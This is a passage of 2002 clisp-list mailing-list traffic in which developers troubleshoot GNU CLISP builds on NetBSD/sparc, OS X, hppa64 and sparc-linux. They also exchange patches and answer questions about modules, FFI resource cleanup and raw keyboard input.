     gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libavcall.a
     ./minitests > minitests.out
     uniq -u < minitests.out > minitests.output.sparc-unknown-netbsdelf1.5.3.
     test '!' -s minitests.output.sparc-unknown-netbsdelf1.5.3.
     *** Error code 1
     
     Stop.
     
     To continue building CLISP, the following commands are recommended
     (cf. unix/INSTALL step 4):
         cd netbsd-gcc
         ./makemake  --with-readline --with-gettext > Makefile
         make config.lisp
         vi config.lisp
         make
         make check

minitests.output.sparc-unknown-netbsdelf1.5.3. contains this:

     Int f(Int,Int,Int):({1},{2},{3})->{6}
     Int f(Int,Int,Int):({1},{2},{3})->{84552}
     J f(J,int,J):({47,11},2,{73,55})->{120,68}
     J f(J,int,J):({47,11},2,{73,55})->{84552,131072}

Any hints on how to track this down?  Just ignoring the problem
just generates a core file when doing the make later on.

Jon


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I have put a new version of the gdi code on my web site as
www.diac.com/~dxs/gdi-2002-6-23.tar.bz2.  It has some more
functions implemented.  I also have put a version of the
garnet source (not working) hacked for gdi, on my web site
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CLISP build from CVS June 24, 2002  On SuSE 8.0 Linux on i686

$ clisp --version
GNU CLISP 2.28.1 (released 2002-04-04) (built 3233934545) (memory 3233934818)
Features: 
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
 BASE-CHAR=CHARACTER PC386 UNIX)

$ uname -a
Linux ecube 2.4.18-4GB #1 Wed Mar 27 13:57:05 UTC 2002 i686 unknown

Problem:

Whenever I try to run a CLISP script I get the error:

*** - MAKE-ENCODING: illegal :CHARSET argument #P"/dev/fd/2"

For example executing the file:

#! /usr/local/bin/clisp
(print "Hello World!")

Otherwise everything seems to work OK.
-- 
Barry




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On Monday 24 Jun 2002 6:33 pm, Jon Buller wrote:
> 2.27 did something really similar, but here's what 2.28
> does first.

I believe this is fixed in CVS. 

> Any hints on how to track this down?  Just ignoring the problem
> just generates a core file when doing the make later on.

This is the more serious problem, which I am not sure how to fix.


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> On Monday 24 Jun 2002 6:33 pm, Jon Buller wrote:
> > 2.27 did something really similar, but here's what 2.28
> > does first.
> 
> I believe this is fixed in CVS. 

The current CVS sources (20020624 @ about 1500 GMT-0800)  have this
one about half solved.  Provided I understand correctly that
output of "minitests | uniq -u" should be zero length.
minitests.output.sparc-unknown-netbsdelf1.5.3. now contains half
the number of lines that it did before:

     Int f(Int,Int,Int):({1},{2},{3})->{6}
     Int f(Int,Int,Int):({1},{2},{3})->{-268439644}

I'm using egcs-1.1.2 if it matters. I found a message in the archive
about what I assume is the difference between 2.28 and the cvs
sources WRT my problem, and when I poked into the configure script,
I guessed it was an optimizer bug with the -O2 flag, rather than
something caused by -g unless the two flags interact somehow, which
is reasonably possible.  I assume this one is similar, but for a
different test in the configure script.  Just not sure which one.

> > Any hints on how to track this down?  Just ignoring the problem
> > just generates a core file when doing the make later on.
> 
> This is the more serious problem, which I am not sure how to fix.

Well, I may think about it if I get there... I hope it magically
goes away before then... 8^)

Jon


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> * In message <20020625000354.836BD11D1CC@mail.bullers.net>
> * On the subject of "Re: [clisp-list] Need help building 2.28 on NetBSD-1.5.3/sparc "
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> I'm using egcs-1.1.2 if it matters.

can you upgrade to a mainstream GCC distribution, like 2.95 or 3.0 or 3.1?

> > > Any hints on how to track this down?  Just ignoring the problem
> > > just generates a core file when doing the make later on.
> > 
> > This is the more serious problem, which I am not sure how to fix.
> 
> Well, I may think about it if I get there... I hope it magically
> goes away before then... 8^)

it won't, unless _you_ track it down.
please configure --without-dynamic-ffi --with-debug.

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Barry,
thanks a lot for such an excellent bug report!

> * In message <m38z54xwz0.fsf@barry_fishman.att.net>
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> *** - MAKE-ENCODING: illegal :CHARSET argument #P"/dev/fd/2"

just fixed in the CVS.

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On Mon, 24 Jun 2002 13:40:03 -0600 (MDT), Dan Stanger wrote:

> functions implemented.  I also have put a version of the
> garnet source (not working) hacked for gdi, on my web site
> also as src-2002-6-23.tar.bz2

A SourceForge project for Garnet was recently set up. You may want to
notify the maintainers about your patch.


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I am working with Daniel Starr on trying to compile clisp on OS X, and
am encountering the following error.

[localhost:~] danielst% cd clisp-2.28/osx
[localhost:~/clisp-2.28/osx] danielst% cc -E -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer 
-Wno-sign-compare -O2 -DUNICODE -c spvw.c >yyy4.i
lispbibl.d:88: line_88
lispbibl.d:107: line_107
lispbibl.d:207: line_207
lispbibl.d:315: line_315
lispbibl.d:6974: illegal external declaration, missing `;' after `__SP'
cpp-precomp: warning: errors during smart preprocessing, retrying in 
basic mode

The errors marked line_* are the result of putting error statements
in the defines to confirm what the compiler is doing.
Can anyone give us a sugestion about this error?
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> * In message <200206251721.g5PHL7103971@mantis.privatei.com>
> * On the subject of "[clisp-list] problem compiling clisp 2.28 on Mac OS X"
> * Sent on Tue, 25 Jun 2002 11:21:07 -0600 (MDT)
> * Honorable dan.stanger@ieee.org writes:
>
> I am working with Daniel Starr on trying to compile clisp on OS X, and
> am encountering the following error.
> 
> [localhost:~] danielst% cd clisp-2.28/osx
> [localhost:~/clisp-2.28/osx] danielst% cc -E -W -Wswitch -Wcomment 
> -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer 
> -Wno-sign-compare -O2 -DUNICODE -c spvw.c >yyy4.i
> lispbibl.d:88: line_88
> lispbibl.d:107: line_107
> lispbibl.d:207: line_207
> lispbibl.d:315: line_315
> lispbibl.d:6974: illegal external declaration, missing `;' after `__SP'
> cpp-precomp: warning: errors during smart preprocessing, retrying in 
> basic mode

add --traditional-cpp manually or try the CVS version.

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This patch enables avcall support for hppa 64bit architectures.

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> * In message <E17N1ji-00019s-00.2002-06-26-02-36-47@mail4.svr.pol.co.uk>
> * On the subject of "[clisp-list] hppa64 build fix"
> * Sent on Wed, 26 Jun 2002 02:39:27 +0100
> * Honorable Will Newton <will@misconception.org.uk> writes:
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> This patch enables avcall support for hppa 64bit architectures.
> 
> Only in clisp-2.28.old/ffcall/autoconf: .aclocal.m4.swp
> diff -ru clisp-2.28.old/ffcall/autoconf/aclocal.m4 clisp-2.28/ffcall/autoconf/aclocal.m4
> --- clisp-2.28.old/ffcall/autoconf/aclocal.m4	Thu Mar 21 13:25:08 2002
> +++ clisp-2.28/ffcall/autoconf/aclocal.m4	Wed Jun 26 02:34:06 2002
> @@ -318,7 +318,7 @@
>    alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] )
>      host_cpu=alpha
>      ;;
> -  hppa1.0 | hppa1.1 | hppa2.0 )
> +  hppa1.0 | hppa1.1 | hppa2.0 | hppa64 )
>      host_cpu=hppa
>      ;;
>    powerpc )
> diff -ru clisp-2.28.old/src/autoconf/aclocal.m4 clisp-2.28/src/autoconf/aclocal.m4
> --- clisp-2.28.old/src/autoconf/aclocal.m4	Thu Mar 21 13:15:45 2002
> +++ clisp-2.28/src/autoconf/aclocal.m4	Wed Jun 26 02:33:37 2002
> @@ -691,7 +691,7 @@
>    alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] )
>      host_cpu=alpha
>      ;;
> -  hppa1.0 | hppa1.1 | hppa2.0 )
> +  hppa1.0 | hppa1.1 | hppa2.0 | hppa64 )
>      host_cpu=hppa
>      ;;
>    powerpc )

why are you modifying only one of CL_CANONICAL_HOST_CPU and
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On Wednesday 26 Jun 2002 1:34 pm, Sam Steingold wrote:

> why are you modifying only one of CL_CANONICAL_HOST_CPU and
> CL_CANONICAL_HOST_CPU_FOR_FFCALL?

Oops. Sorry. Amended patch attached. Should be right this time.


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> * In message <E17NCoE-0004Jo-00.2002-06-26-14-26-11@imailg1.svr.pol.co.uk>
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> On Wednesday 26 Jun 2002 1:34 pm, Sam Steingold wrote:
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> > why are you modifying only one of CL_CANONICAL_HOST_CPU and
> > CL_CANONICAL_HOST_CPU_FOR_FFCALL?
> 
> Oops. Sorry. Amended patch attached. Should be right this time.

actually, both aclocal.m4 have both CL_CANONICAL_HOST_CPU_FOR_FFCALL &
CL_CANONICAL_HOST_CPU.  :-)
Never mind: these files are generated anyway (from src/m4/general.m4).
I put the patch in.
Thanks.

[PS: when is 2.28 moving from `unstable' to `stable' on debian?]

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On Wednesday 26 Jun 2002 2:58 pm, Sam Steingold wrote:

> actually, both aclocal.m4 have both CL_CANONICAL_HOST_CPU_FOR_FFCALL &
> CL_CANONICAL_HOST_CPU.  :-)
> Never mind: these files are generated anyway (from src/m4/general.m4).

I kinda lost touch with exactly how clisp does things in that area. Thanks.

> [PS: when is 2.28 moving from `unstable' to `stable' on debian?]

It would be possible to manually push it in - at the moment it is held up by 
the fact that the stable version builds on sparc and m68k and the unstable 
one doesn't. When I get clisp building on:

i386, alpha, powerpc, s390, (already built) hppa, mips, mipsel, arm (in need 
of tweaking)

or a decent subset thereof, I will make sure it goes in. Hopefully I can 
figure out the m68k/sparc crash before too long anyway.


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> * In message <E17NDyU-0002DC-00.2002-06-26-15-40-51@mail7.svr.pol.co.uk>
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> On Wednesday 26 Jun 2002 2:58 pm, Sam Steingold wrote:
> > [PS: when is 2.28 moving from `unstable' to `stable' on debian?]
> 
> It would be possible to manually push it in - at the moment it is held
> up by the fact that the stable version builds on sparc and m68k and
> the unstable one doesn't. When I get clisp building on:
> 
> i386, alpha, powerpc, s390, (already built) hppa, mips, mipsel, arm
> (in need of tweaking)
> 
> or a decent subset thereof, I will make sure it goes in. Hopefully I
> can figure out the m68k/sparc crash before too long anyway.

interesting -- are you saying that there is a CLISP version that builds
on sparc/linux with glibc 2.2?!
I thought that all versions build with glibc 2.1 and none with glibc 2.2!

if this is indeed the case, you can do a binary search in the CVS to
pin-point the change that broke stuff.

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On Wednesday 26 Jun 2002 4:07 pm, Sam Steingold wrote:

> interesting -- are you saying that there is a CLISP version that builds
> on sparc/linux with glibc 2.2?!

No. Debian stable still runs 2.1. When the next stable Debian release occurs 
stable will have 2.27 and no sparc build.


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Upon evaluating the following (incorrect) expression:

    (coerce 'vector (list 1))

I get:

    *** - handle_fault error2 ! address = 0x96 not in
    [0x202AE000,0x20375EB4) !
    SIGSEGV cannot be cured. Fault address = 0x96.
    Segmentation fault (core dumped)

Haven't tried under 2.28, but it does not repro in an installation of 2.27.

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I'm having trouble getting access to the REGEXP pacakge that comes
with CLISP.  I ran the build and it appeared to compile the source but
Lisp doesn't seem to "see" the package:

	[1]> (use-package "REGEXP")
	
	*** - There is no package with name "REGEXP"
	1. Break [2]> 


I noticed there is an executable, "src/full/lisp.run" and when I run
that (w/ args "-M lispinit.mem") then I *can* get the package.  But
this "fuller" Lisp is not what got installed in my public directory
when I did the "make install"

Am I missing something?  Do I have to somehow tell the build that I
want the "full" install?  I expected that to just happen as an effect
of my having asked for the add-on(s).

BTW, I did "makemake" as below.

Thanks in advance.


./makemake                                      \
       --with-readline                          \
       --with-dynamic-ffi                       \
       --with-dynamic-modules                   \
       --with-export-syscalls                   \
       --with-module=wildcard                   \
       --with-module=regexp                     \
       --with-module=bindings/linuxlibc6        \
        debug                                   \
        > Makefile

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On Wed, 26 Jun 2002, John K. Hinsdale wrote:
> I noticed there is an executable, "src/full/lisp.run" and when I run
> that (w/ args "-M lispinit.mem") then I *can* get the package.  But
> this "fuller" Lisp is not what got installed in my public directory
> when I did the "make install"
> 
> Am I missing something?


Maybe you are not selecting the ``full'' linkkit using the -k command
line option? Are you running

	clisp -K full 

?

> Do I have to somehow tell the build that I
> want the "full" install?  I expected that to just happen as an effect
> of my having asked for the add-on(s).

No, the add-ons are in ``-K full''. Without that, you get the vanilla
CLISP.



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> * In message <E17NDyU-0002DC-00.2002-06-26-15-40-51@mail7.svr.pol.co.uk>
> * On the subject of "Re: [clisp-list] hppa64 build fix"
> * Sent on Wed, 26 Jun 2002 15:43:50 +0100
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> On Wednesday 26 Jun 2002 2:58 pm, Sam Steingold wrote:
> > [PS: when is 2.28 moving from `unstable' to `stable' on debian?]
> 
> It would be possible to manually push it in - at the moment it is held
> up by the fact that the stable version builds on sparc and m68k and
> the unstable one doesn't. When I get clisp building on:
> 
> i386, alpha, powerpc, s390, (already built) hppa, mips, mipsel, arm
> (in need of tweaking)
> 
> or a decent subset thereof, I will make sure it goes in. Hopefully I
> can figure out the m68k/sparc crash before too long anyway.

I just built the current cvs clisp on the sourceforge compile farm
sparc/linux machine.  they do not have an m68k machine.

You need the following change (no patch yet! :-)
in lispbibl.d:

    # For pointers, the address takes the full word (with type info in the
    # lowest two bits). For immediate objects, we use 24 bits for the data
    # (but exclude the highest available bit, which is the garcol_bit).
    #if !((defined(MC680X0) && defined(UNIX_LINUX)) || (defined(I80386) && defined(UNIX_BEOS)) || (defined(SPARC) && defined(UNIX_LINUX)))
      #define oint_type_shift 0
      #define oint_type_len 8
      #define oint_type_mask 0x0000007FUL
      #define oint_data_shift 7
      #define oint_data_len 24
      #define oint_data_mask 0x7FFFFF80UL
      #define garcol_bit_o 31
    #elif defined(I80386) && defined(UNIX_BEOS)
      # On BeOS 5, malloc()ed addresses are of the form 0x80...... Bit 31
      # is therefore part of an address and cannot be used as garcol_bit.
      #define oint_type_shift 0
      #define oint_type_len 8
      #define oint_type_mask 0x0000003FUL
      #define oint_data_shift 6
      #define oint_data_len 24
      #define oint_data_mask 0x3FFFFFC0UL
      #define garcol_bit_o 30
    #elif (defined(MC680X0) && defined(UNIX_LINUX)) || (defined(SPARC) && defined(UNIX_LINUX))
      # On Sparc-Linux, malloc()ed addresses are of the form 0x0....... or
      # 0xe........ Bits 31..29 are therefore part of an address and cannot
      # be used as garcol_bit. We therefore choose bit 28 as garcol_bit.
      # Now, the 24 data bits of an immediate value must not intersect the
      # garcol_bit, so we use bits 27..4 for that (we could use bits 26..3
      # as well).
      # On m68k-Linux, malloc()ed addresses are of the form 0x80...... or
      # 0xc0....... Bits 31..30 are therefore part of an address and cannot
      # be used as garcol_bit. We therefore have three choices:
      #   data bits: bits 26..3, garcol_bit_o = 28/27
      #   data bits: bits 27..4, garcol_bit_o = 28/3
      #   data bits: bits 28..5, garcol_bit_o = 4/3
      #define oint_type_shift 0
      #define oint_type_len 32
      #define oint_type_mask 0xE000000FUL
      #define oint_data_shift 4
      #define oint_data_len 24
      #define oint_data_mask 0x0FFFFFF0UL
      #define garcol_bit_o 28
    #endif

__REMOVE__ the special case for SPARC (and probably MC680X0).
i.e., treat them just like all the other !TYPECODES !WIDE_HARD hosts.

The reason appears to be that now malloc does not touch the top 3 bits.
        (gdb) p malloc(1000)
        $1 = (void *) 0x3e8

Oh, yeah, and this:


# Immediate objects have a second type field.
  #if defined(SPARC) && defined(UNIX_LINUX)
    #define imm_type_shift  29
  #else
    #define imm_type_shift  3
  #endif

has to be scrapped too, of course!


Will, please try this on your sparc-linux and m68k-Linux boxes.
thanks.

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   >> But this "fuller" Lisp is not what got installed in my public
   >> directory when I did the "make install" Am I missing something?

 > Maybe you are not selecting the ``full'' linkkit using the -k command
 > line option? Are you running
 > 	clisp -K full 

kaz,thanks.  that was exactly my problem.


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Thought I'd give an update on my adventures integrating Oracle access
w/ CLISP.  I'm almost there.  I ended up ditching the approach (used
by UnCommon SQL and others) of importing the entire Oracle client
library (OCI) with all its 200 or so functions and instead opted for a
much simpler interface with a few routines written in "C".  It's
pretty fast as well.  I've "sealed off" the Oracle bloat completely
from the Lisp side, which sees a single "C" structure and just a few
functions seen by CLISP.  This is what 99.9% of users will need.

But now I'm having a bit of a problem integrating it into CLISP via
the foreign function interface (FFI).  Specificaly it is not clear to
me how I can guarantee that once I create my "database object" (i.e.,
the "C" structure above) I can be guaranteed it eventaully gets
cleaned up via *my* cleanup routine - which releases a whole bunch of
state and resources, e.g., database connections, query cursors alloc'd
buffers, etc.)

The FFI seems to have a built-in way for cleanup of malloc/free
storage, however I need more than that.  I have to call specific
Oracle functions to release resources when the database object is
garbage collected.  I may also have to roll back or commit a database
transaction.

Using the "regexp" wrapper as a hint, I made a toy test FFI module
that just store a string as its state and prints it when it's accessed
- see below.  However, I can't seem to get the cleanup ("destroy")
function to get called.  I tried wrapping my initialization
("constructor") routine with a call to "ext:finalize" asking it to run
my cleanup when the object is GC'd but that did not seem to do it.

Is there a way to tell CLISP:

	(1) when it is GC'ing my database object to call my cleanup

and	(2) to immediately GC my database object?  This is because
	    I don't want my Lisp Oracle client leaving database
	    connections lying around - they consume a lot of
	    resources on the Oracle server side.  I need my objects
	    to get expunged immediately after they cease to be
	    visible to the program.

Any ideas?


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; -------------------------------------------------------------------------
; Test

(defpackage "TEST"
  (:documentation
   "Testing the FFI")
  (:use "LISP" "FFI")
  (:export "NEWFN" "OPFN" "DESFN" ))

(in-package "TEST")


; Alloc, init and return a pointer to new object
(def-c-call-out newfn (:arguments (s c-string))
                      (:return-type c-pointer))

; Destroy an object
(def-c-call-out desfn (:arguments (ptr c-pointer))
                      (:return-type int))

; Operate on an object
(def-c-call-out opfn (:arguments (ptr c-pointer) (s c-string))
		     (:return-type int))


; Make an object, ensuring cleanup (DOES NOT WORK???)
(defun make-obj (s)
       (let (obj)
            (ext:finalize obj #'desfn)
	    (setq obj (newfn s))))

; -------------------------------------------------------------------------


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John K. Hinsdale writes:

 > and	(2) to immediately GC my database object?  This is because
 > 	    I don't want my Lisp Oracle client leaving database
 > 	    connections lying around - they consume a lot of
 > 	    resources on the Oracle server side.  I need my objects
 > 	    to get expunged immediately after they cease to be
 > 	    visible to the program.
 > 
 > Any ideas?

You don't want to leave this up to the GC.  Have a function accessible
from Lisp that destroys these objects, and the resources they consume.
GCs are good for managing resources that aren't tight, like memory.
For most uses of database handles, you only need the object to have
dynamic extent, in which case, a WITH-... style macro works wonderfully:

  (defmacro with-database-handle ((var &rest args) &body body)
    (let ((object (gensym)))
      `(let ((,object (make-obj ,@args)))
         (unwind-protect
             (let ((,var ,object)) ,@body)
           (destroy-object ,object)))))

If the object's lifetime is more complicated than this, you just need
to keep track of it, the GC is not an appropriate tool for cleaning it
up.

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On Wed, 26 Jun 2002, John K. Hinsdale wrote:

> Date: Wed, 26 Jun 2002 15:29:57 -0400
> From: John K. Hinsdale <hin@alma.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] Ensuring call of cleanup ("destructor") routine for
>     "C" object
> 
> 
> Thought I'd give an update on my adventures integrating Oracle access
> w/ CLISP.  I'm almost there.  I ended up ditching the approach (used
> by UnCommon SQL and others) of importing the entire Oracle client
> library (OCI) with all its 200 or so functions and instead opted for a
> much simpler interface with a few routines written in "C".  It's
> pretty fast as well.  I've "sealed off" the Oracle bloat completely
> from the Lisp side, which sees a single "C" structure and just a few
> functions seen by CLISP.  This is what 99.9% of users will need.
> 
> But now I'm having a bit of a problem integrating it into CLISP via
> the foreign function interface (FFI).  Specificaly it is not clear to
> me how I can guarantee that once I create my "database object" (i.e.,
> the "C" structure above) I can be guaranteed it eventaully gets
> cleaned up via *my* cleanup routine - which releases a whole bunch of
> state and resources, e.g., database connections, query cursors alloc'd
> buffers, etc.)
> 
> The FFI seems to have a built-in way for cleanup of malloc/free
> storage, however I need more than that.  I have to call specific
> Oracle functions to release resources when the database object is
> garbage collected.  I may also have to roll back or commit a database
> transaction.

Common Lisp has no finalization routine feature (though some
implementations do, according to a recent comp.lang.lisp
discussion). 

But really, releasing resources such as open files, sockets or database
connections at garbage collection time is probably too late! Such things
should be explicitly released.

One model to look at are the WITH-* standard macros in Common Lisp.
For example WITH-OPEN-FILE associates a new stream with a file,
evaluates some forms and then esures that the stream is closed.

You could have open and close type routines in your FFI, and then
write some WITH-* style macros to ensure that closes are matched
with opens.

These macros are typically based on UNWIND-PROTECT.

In CLISP, here is what an expansion of WITH-OPEN-FILE looks like:

[1]> (macroexpand '(with-open-file (stream args) form))

(LET ((STREAM (OPEN ARGS))) (DECLARE (SYSTEM::READ-ONLY STREAM))
 (UNWIND-PROTECT
  (MULTIPLE-VALUE-PROG1 (PROGN FORM) (WHEN STREAM (CLOSE STREAM)))
  (WHEN STREAM (CLOSE STREAM :ABORT T)))) ;

So you see, the stream is closed as soon as the WITH-OPEN-FILE
form finishes evaluating, but the stream object persists until
it is garbage collected.

Regarding rollback and commit, you could probably hack up some
macros that provide a convenient notation for doing it.



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On Wednesday 26 Jun 2002 8:02 pm, Sam Steingold wrote:

> Will, please try this on your sparc-linux and m68k-Linux boxes.
> thanks.

I don't have access to an m68k box directly either, but I will try this as 
soon as I can. I suspected it might have been that stanza of the file but I 
really don't have the understanding to delve in it. Thanks.


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On Wednesday 26 Jun 2002 8:02 pm, Sam Steingold wrote:

> You need the following change (no patch yet! :-)

I made the change but still get the same crash on the Sourceforge Sparc/Linux 
machine. Is there something I'm missing? I have attached the diff I made.

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> * In message <E17NNV3-0002xt-00.2002-06-27-01-51-06@mail7.svr.pol.co.uk>
> * On the subject of "Re: [clisp-list] clisp & [sparc|m68k]-linux"
> * Sent on Thu, 27 Jun 2002 01:54:05 +0100
> * Honorable Will Newton <will@misconception.org.uk> writes:
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> On Wednesday 26 Jun 2002 8:02 pm, Sam Steingold wrote:
> 
> > You need the following change (no patch yet! :-)

I appended the patch.

> I made the change but still get the same crash on the Sourceforge
> Sparc/Linux machine. Is there something I'm missing?

I guess the struggle is not over yet. :-(
CLISP _does_ build with the appended patch, but only --with-debug.
This setting turns off assembly and registers.
I.e., one has to figure out what registers are now grabbed by glibc on
sparc (and probably on m68k) and thus are unavailable...

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--- lispbibl.d.~1.277.~	Wed Jun 26 13:59:20 2002
+++ lispbibl.d	Wed Jun 26 16:03:59 2002
@@ -2364,7 +2364,10 @@
     # For pointers, the address takes the full word (with type info in the
     # lowest two bits). For immediate objects, we use 24 bits for the data
     # (but exclude the highest available bit, which is the garcol_bit).
-    #if !((defined(MC680X0) && defined(UNIX_LINUX)) || (defined(I80386) && defined(UNIX_BEOS)) || (defined(SPARC) && defined(UNIX_LINUX)))
+    #if defined(SPARC) && defined(UNIX_LINUX) && (__GLIBC__ < 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ < 2))
+      #define LINUX_SPARC_OLD_GLIBC
+    #endif
+    #if !((defined(MC680X0) && defined(UNIX_LINUX)) || (defined(I80386) && defined(UNIX_BEOS)) || defined(LINUX_SPARC_OLD_GLIBC))
       #define oint_type_shift 0
       #define oint_type_len 8
       #define oint_type_mask 0x0000007FUL
@@ -2382,9 +2385,10 @@
       #define oint_data_len 24
       #define oint_data_mask 0x3FFFFFC0UL
       #define garcol_bit_o 30
-    #elif (defined(MC680X0) && defined(UNIX_LINUX)) || (defined(SPARC) && defined(UNIX_LINUX))
-      # On Sparc-Linux, malloc()ed addresses are of the form 0x0....... or
-      # 0xe........ Bits 31..29 are therefore part of an address and cannot
+    #elif (defined(MC680X0) && defined(UNIX_LINUX)) || defined(LINUX_SPARC_OLD_GLIBC))
+      # On Sparc-Linux with glibc 2.1 and older:
+      # malloc()ed addresses are of the form 0x0....... or 0xe........
+      # Bits 31..29 are therefore part of an address and cannot
       # be used as garcol_bit. We therefore choose bit 28 as garcol_bit.
       # Now, the 24 data bits of an immediate value must not intersect the
       # garcol_bit, so we use bits 27..4 for that (we could use bits 26..3
@@ -2850,7 +2854,7 @@
   #define immediate_bias  7  # mod 8
 
 # Immediate objects have a second type field.
-  #if defined(SPARC) && defined(UNIX_LINUX)
+  #if defined(LINUX_SPARC_OLD_GLIBC)
     #define imm_type_shift  29
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     #define imm_type_shift  3



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Date: Thu Jun 27 09:46:04 2002
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On Thursday 27 Jun 2002 3:47 pm, Sam Steingold wrote:

> I guess the struggle is not over yet. :-(
> CLISP _does_ build with the appended patch, but only --with-debug.
> This setting turns off assembly and registers.
> I.e., one has to figure out what registers are now grabbed by glibc on
> sparc (and probably on m68k) and thus are unavailable...

Looking at lispbibl.d:

  # Overview of use of registers in gcc terminology:
  # fixed: mentioned in FIXED_REGISTERS
  # used:  mentioned in CALL_USED_REGISTERS but not FIXED_REGISTERS
  #                     (i.e. caller-saved)
  # save:  otherwise (i.e. call-preserved, callee-saved)
  #
  #               STACK    mv_count  value1   subr_self
  # MC680X0       used
  # I80386        save
  # SPARC         fixed    fixed     fixed    used

But in the gcc sources it looks like they should be marked "save".
(gcc/gcc/config/sparc/sparc.h)

I'm going to look into how the other arches handle these things.

The comment reads:

/* 1 for registers that have pervasive standard uses
   and are not available for the register allocator.

   On non-v9 systems:
   g1 is free to use as temporary.
   g2-g4 are reserved for applications.  Gcc normally uses them as
   temporaries, but this can be disabled via the -mno-app-regs option.
   g5 through g7 are reserved for the operating system.

   On v9 systems:
   g1,g5 are free to use as temporaries, and are free to use between calls
   if the call is to an external function via the PLT.
   g4 is free to use as a temporary in the non-embedded case.
   g4 is reserved in the embedded case.
   g2-g3 are reserved for applications.  Gcc normally uses them as
   temporaries, but this can be disabled via the -mno-app-regs option.
   g6-g7 are reserved for the operating system (or application in
   embedded case).
   ??? Register 1 is used as a temporary by the 64 bit sethi pattern, so must
   currently be a fixed register until this pattern is rewritten.
   Register 1 is also used when restoring call-preserved registers in large
   stack frames.



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I'm having dificulty using the raw terminal mode.  I updated to clisp 2.28, then tried:

[1]> (system::terminal-raw *standard-input* t)
NIL
[2]> (system::terminal-raw *standard-input* t)
T
[3]> (defun something-stupid (ch)
  (princ ch)
  (sleep .1)
  (setf tmp (read-char-no-hang))
  (if (null tmp)
      (something-stupid ch)
    (something-stupid tmp)))
SOMETHING-STUPID

[4]> (something-stupid #\a)
aaaaaaaaaaaadfg
            ^hangs as soon as i hit a key,
	then prints all the keys that i've hit as soon as i hit enter.
	I wanted it to print aaaaaaaaaaaadddfffggg, and not even have 
	to hit enter.

My goal here is to check if a key has been hit, without holding up the 
program.  (writing a interactive game in which your racing a clock)

I can't find any further information on termial-raw.  How should i go 
about this?

Corey




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> * In message <20020627204932.GB29368@neural.dlsemc.com>
> * On the subject of "[clisp-list] raw mode for charactor reading"
> * Sent on Thu, 27 Jun 2002 15:49:32 -0500
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>
> I'm having dificulty using the raw terminal mode.  I updated to clisp
> 2.28, then tried:
> 
> [1]> (system::terminal-raw *standard-input* t)

this is an internal function.
do not use it.

see <http://clisp.cons.org/impnotes.html#terminal> or
<http://clisp.cons.org/impnotes/terminal.html>.

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On Thu, Jun 27, 2002 at 04:50:38PM -0400, Sam Steingold wrote:
> > * In message <20020627204932.GB29368@neural.dlsemc.com>
> > * On the subject of "[clisp-list] raw mode for charactor reading"
> > * Sent on Thu, 27 Jun 2002 15:49:32 -0500
> > * Honorable corey@neural.dlsemc.com writes:
> >
> > I'm having dificulty using the raw terminal mode.  I updated to clisp
> > 2.28, then tried:
> > 
> > [1]> (system::terminal-raw *standard-input* t)
> 
> this is an internal function.
> do not use it.

Is it possible to read a charactor without waiting for enter to be pressed in clisp?  If so how?  

Corey

p.s. i've tried screen:read-keyboard-char, read-char-no-hang, and others with no luck.


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Hi,

Friday, June 28, 2002, 5:08:54 PM, you wrote:

corey> Is it possible to read a charactor without waiting for enter to be pressed in clisp?  If so how?
corey> p.s. i've tried screen:read-keyboard-char, read-char-no-hang, and others with no luck.
On windows I'm using the following

...
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   (ext:with-keyboard
     (setf ch (read-char ext:*keyboard-input*))
     ...
     (when (eq (system::input-character-key ch) :RIGHT)
          ...)
     ...

I remember it was worked on FreeBSD too.

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On Thursday 27 Jun 2002 3:47 pm, Sam Steingold wrote:

> I.e., one has to figure out what registers are now grabbed by glibc on
> sparc (and probably on m68k) and thus are unavailable...

I've tried playing with which registers are used, but not really got anywhere 
apart from getting the crash one function call later. This reference seems to 
imply there may be a problem using registers with later versions of gcc (and 
I believe the sparc string functions of glibc ):

http://isisesc.supelec.fr/list-egcs/archive/March2000/0055.html


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> * In message <20020628070854.GA4110@neural.dlsemc.com>
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> On Thu, Jun 27, 2002 at 04:50:38PM -0400, Sam Steingold wrote:
> > > * Honorable corey@neural.dlsemc.com writes:
> > >
> > > I'm having dificulty using the raw terminal mode.  I updated to clisp
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> > > 
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> > 
> > this is an internal function.
> > do not use it.
> 
> Is it possible to read a charactor without waiting for enter to be
> pressed in clisp?  

yes it is.

> If so how?

in my previous message I gave you two URLs.
did you read them?


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   >> John K. Hinsdale writes:
   >>   and	(2) to immediately GC my database object?  This is because
   >> 	I don't want my Lisp Oracle client leaving database
   >> 	connections lying around - they consume a lot of

 > "Thomas F. Burdick" <tfb@OCF.Berkeley.EDU> writes:
 > For most uses of database handles, you only need the object to have
 > dynamic extent, in which case, a WITH-... style macro works wonderfully:

 > Kaz Kylheku <kaz@ashi.footprints.net> writes:
 > You could have open and close type routines in your FFI, and then
 > write some WITH-* style macros to ensure that closes are matched
 > with opens.

Gents, thanks for the hints.  The with-... macro is what I want.  I
like Kaz's idea of using it to deal w/ the commit/abort aspect of my
modules as well.  [Update: I'm doing the part of my Oracle lib.  that
involves gluing it to CLISP - woo-hoo, I can get to my date.]

BTW, I later noticed Dan Weinreb answered my same question back in
1991:

  http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&selm=1991May20.055952.4991%40odi.com

For general Lisp stuff I'll do more Googling first so as not to ask
11-year old questions.  :)

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[15]> (macroexpand '(setf (car x) y))
(SYSTEM::%RPLACA X Y) ;
T

So far so good. But:

[16]> (macroexpand '(setf (aref x y) z))
(LET* ((#:G1267 X) (#:G1268 Y) (#:G1269 Z))
 (SYSTEM::STORE #:G1267 #:G1268 #:G1269)) ;
T
[17]> (macroexpand '(setf (gethash x y) z))
(LET* ((#:G1270 X) (#:G1271 Y) (#:G1272 Z))
 (SYSTEM::PUTHASH #:G1270 #:G1271 #:G1272)) ;
T
[19]> (macroexpand '(setf (seventh x) y))
(LET* ((#:G1275 X) (#:G1276 Y))
